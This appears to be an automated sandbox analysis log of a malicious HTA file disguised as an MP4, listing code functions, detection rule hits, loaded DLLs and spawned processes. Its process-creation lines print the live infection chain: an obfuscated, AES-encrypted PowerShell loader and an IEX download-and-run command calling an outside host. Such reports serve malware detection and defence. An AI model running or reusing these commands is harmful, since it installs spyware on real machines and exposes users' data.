Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_071CD9D8	4_2_071CD9D8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_071CD9E8	4_2_071CD9E8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_07205720	4_2_07205720
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_07205730	4_2_07205730
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_07205D90	4_2_07205D90
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_0722CF00	4_2_0722CF00
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_07228BC7	4_2_07228BC7
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_0722E4F8	4_2_0722E4F8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_0722D227	4_2_0722D227
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_07220006	4_2_07220006
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_07220040	4_2_07220040
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_07228C62	4_2_07228C62
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_07229BE8	4_2_07229BE8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_07229BD8	4_2_07229BD8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0040A870	8_2_0040A870
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00422870	8_2_00422870
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_004118D0	8_2_004118D0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_004388E0	8_2_004388E0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_004089A0	8_2_004089A0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_004379A2	8_2_004379A2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00426210	8_2_00426210
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0043C210	8_2_0043C210
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_004104E7	8_2_004104E7
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0042C4F6	8_2_0042C4F6
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00438C90	8_2_00438C90
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0040AD20	8_2_0040AD20
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_004085D0	8_2_004085D0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0040D643	8_2_0040D643
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00441600	8_2_00441600
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0041A800	8_2_0041A800
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0043F800	8_2_0043F800
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00441800	8_2_00441800
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0041D810	8_2_0041D810
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00426837	8_2_00426837
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_004058E0	8_2_004058E0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0041F0E6	8_2_0041F0E6
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_004368AC	8_2_004368AC
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0040F8B0	8_2_0040F8B0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0043F8B0	8_2_0043F8B0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00406140	8_2_00406140
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00409140	8_2_00409140
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0043F940	8_2_0043F940
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00403900	8_2_00403900
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0042E904	8_2_0042E904
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00427134	8_2_00427134
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_004191D0	8_2_004191D0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_004381D0	8_2_004381D0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_004231E0	8_2_004231E0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0043A1A9	8_2_0043A1A9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0043CA40	8_2_0043CA40
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00417A51	8_2_00417A51
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00408A70	8_2_00408A70
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00440AC0	8_2_00440AC0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00425AC9	8_2_00425AC9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_004402D0	8_2_004402D0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_004042B0	8_2_004042B0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0042235A	8_2_0042235A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00439370	8_2_00439370
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00431320	8_2_00431320
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00436B24	8_2_00436B24
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00404BE0	8_2_00404BE0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_004253E5	8_2_004253E5
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_004233FA	8_2_004233FA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00422390	8_2_00422390
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_004073B0	8_2_004073B0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0042CBBB	8_2_0042CBBB
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0043FC10	8_2_0043FC10
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00427C2A	8_2_00427C2A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00438430	8_2_00438430
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0041A4C0	8_2_0041A4C0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00436CED	8_2_00436CED
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00421C8F	8_2_00421C8F
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0042C490	8_2_0042C490
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00415CA0	8_2_00415CA0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00437CB8	8_2_00437CB8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0042CD4B	8_2_0042CD4B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0042FD53	8_2_0042FD53
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00428572	8_2_00428572
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00421500	8_2_00421500
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0042CD0A	8_2_0042CD0A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0041D520	8_2_0041D520
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00428D20	8_2_00428D20
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0043F5C0	8_2_0043F5C0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_004065D0	8_2_004065D0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00424DF0	8_2_00424DF0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0041CD80	8_2_0041CD80
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00405DA0	8_2_00405DA0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_004095A0	8_2_004095A0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00413DA0	8_2_00413DA0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00410E59	8_2_00410E59
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0041BE60	8_2_0041BE60
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00414E0D	8_2_00414E0D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00430E2C	8_2_00430E2C
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_004146D0	8_2_004146D0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0043F6D0	8_2_0043F6D0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_004226DC	8_2_004226DC
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00402EE0	8_2_00402EE0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00408EF0	8_2_00408EF0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_004396F0	8_2_004396F0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_004406F0	8_2_004406F0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00425740	8_2_00425740
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0041671A	8_2_0041671A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0043D71C	8_2_0043D71C
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00422F30	8_2_00422F30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0043F5C0	8_2_0043F5C0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0043EFF1	8_2_0043EFF1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00439FF0	8_2_00439FF0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00428D20	8_2_00428D20
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0043FF90	8_2_0043FF90
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_004157B0	8_2_004157B0

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: String function: 00413D90 appears 86 times
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: String function: 00407F40 appears 45 times

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Jump to behavior

Source: Process Memory Space: powershell.exe PID: 4524, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 616, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal100.troj.spyw.evad.winHTA@12/10@3/3

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 8_2_00438C90 RtlExpandEnvironmentStrings,CoCreateInstance,SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,SysFreeString,SysFreeString,SysFreeString,GetVolumeInformationW,

8_2_00438C90

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6648:120:WilError_03
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6432:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6160:120:WilError_03

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hnzqldrd.xn1.ps1

Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\SysWOW64\mshta.exe mshta.exe "C:\Users\user\Desktop\re5.mp4.hta"
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function RofJg($zkfZU){return -split ($zkfZU -replace '..', '0x$& ')};$xHKo = RofJg('ADDABD852CBF669FB61EACB84993EA3F154802630095EC46064205C3E258CA0A3F846939344DFEADF3B7AC1A3089265AAEECAAD45D0357AA9B08B6C103541454A7CFA4167A71B0010AA6E212385CA641B99658282EE9B9F894A6F9BE882279D7E4F19BDCA0261AA79FC5FAD99FB022F746001AACC2A62050F3C5F1ACB5DBCECEECFE3A7A31A8937A5F65851F4C54937EAC4F795E298C9214224843FB4F9B13B0ABEA024CF9052242B65816163BD511BDD6A30B7FD935D931026CD618E7CF54E77A0A14C23FC0A2197A0626BCCD85128A5B13D7573F97FA06919B49E60B6F135A7B0087E73BEDF1BBD8EF749346E35BB5B8EF328AB42653A8C423CCE65ED751D8FDB7538347B1115C64B27CB0B663FD5D314EF76EA571A266B7DA4A5FEDC4A11881B74E43E450CB442B4DCF5E7F4D3F964B91DD28FD3C9CC2CA269708977893826BC4F817CA3F24A1E25FD45FEE31E6F57DD231764A7ED8EC4F27A85D3E63955F8A0D8233AF72C4E3B87AC790739B96882AAE6D9C087FDE0339006489DE3CCC111FF2BE081EFD92E3486DC8FA48F7C64E97265982A18F79B58A14B1B7F4E618D3E23C9A3C802554F05AB3FACFC592E6C0A13C4FCD3AC9EB67201312B305EABAA5BD1661FB4D01209CD8147427069DCB7C70B3FC1669E3D643A74B2F009A73FF4ECAF1E92FB68F73506E4E251F8603CB128405A12B13D51EB28D67D152254C24F1B1B1B208470E50C7C6A293ED2B9BC672E7167C873D379DDA70928E34D5D92B01E6FBEF93CFF4C5A2A47FEC851643D38DAC71CC97DE03EF89C84EC82B4DAEC32416113C18A4F97176E6C6F19529DFC27FEDF76EAECC83B65CDB18F573A47CA511ABB57C0E2FB271F43F876C7E4EBB670821DEE11F27961708ECC5A51060AB343764D0D66A8F570DE51685313E5643F216ABA89A781C9437C8360BDD168A4F24CC7EEDBAF8CB939B2CD236895145BEE8327E515C72C6E3F8945F6B99DD6856D6B85A39A9636EF180D230B26C5E84DE8C40A71AE0F1B4C4B3ABEE23B5B26FF40AC1D252C89C4C40A58E6456EBA4F5FBFC23');$Hubqy=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((RofJg('446D676A575941436563554774726D56')),[byte[]]::new(16)).TransformFinalBlock($xHKo,0,$xHKo.Length)); & $Hubqy.Substring(0,3) $Hubqy.Substring(129)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command & {IEX ((New-Object Net.WebClient).DownloadString('https://t1.awagama2.org/Scheele.pt'))}
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass MZP
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function RofJg($zkfZU){return -split ($zkfZU -replace '..', '0x$& ')};$xHKo = RofJg('ADDABD852CBF669FB61EACB84993EA3F154802630095EC46064205C3E258CA0A3F846939344DFEADF3B7AC1A3089265AAEECAAD45D0357AA9B08B6C103541454A7CFA4167A71B0010AA6E212385CA641B99658282EE9B9F894A6F9BE882279D7E4F19BDCA0261AA79FC5FAD99FB022F746001AACC2A62050F3C5F1ACB5DBCECEECFE3A7A31A8937A5F65851F4C54937EAC4F795E298C9214224843FB4F9B13B0ABEA024CF9052242B65816163BD511BDD6A30B7FD935D931026CD618E7CF54E77A0A14C23FC0A2197A0626BCCD85128A5B13D7573F97FA06919B49E60B6F135A7B0087E73BEDF1BBD8EF749346E35BB5B8EF328AB42653A8C423CCE65ED751D8FDB7538347B1115C64B27CB0B663FD5D314EF76EA571A266B7DA4A5FEDC4A11881B74E43E450CB442B4DCF5E7F4D3F964B91DD28FD3C9CC2CA269708977893826BC4F817CA3F24A1E25FD45FEE31E6F57DD231764A7ED8EC4F27A85D3E63955F8A0D8233AF72C4E3B87AC790739B96882AAE6D9C087FDE0339006489DE3CCC111FF2BE081EFD92E3486DC8FA48F7C64E97265982A18F79B58A14B1B7F4E618D3E23C9A3C802554F05AB3FACFC592E6C0A13C4FCD3AC9EB67201312B305EABAA5BD1661FB4D01209CD8147427069DCB7C70B3FC1669E3D643A74B2F009A73FF4ECAF1E92FB68F73506E4E251F8603CB128405A12B13D51EB28D67D152254C24F1B1B1B208470E50C7C6A293ED2B9BC672E7167C873D379DDA70928E34D5D92B01E6FBEF93CFF4C5A2A47FEC851643D38DAC71CC97DE03EF89C84EC82B4DAEC32416113C18A4F97176E6C6F19529DFC27FEDF76EAECC83B65CDB18F573A47CA511ABB57C0E2FB271F43F876C7E4EBB670821DEE11F27961708ECC5A51060AB343764D0D66A8F570DE51685313E5643F216ABA89A781C9437C8360BDD168A4F24CC7EEDBAF8CB939B2CD236895145BEE8327E515C72C6E3F8945F6B99DD6856D6B85A39A9636EF180D230B26C5E84DE8C40A71AE0F1B4C4B3ABEE23B5B26FF40AC1D252C89C4C40A58E6456EBA4F5FBFC23');$Hubqy=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((RofJg('446D676A575941436563554774726D56')),[byte[]]::new(16)).TransformFinalBlock($xHKo,0,$xHKo.Length)); & $Hubqy.Substring(0,3) $Hubqy.Substring(129)	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command & {IEX ((New-Object Net.WebClient).DownloadString('https://t1.awagama2.org/Scheele.pt'))}	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass MZP	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mshtml.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msimtf.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: jscript9.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dataexchange.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
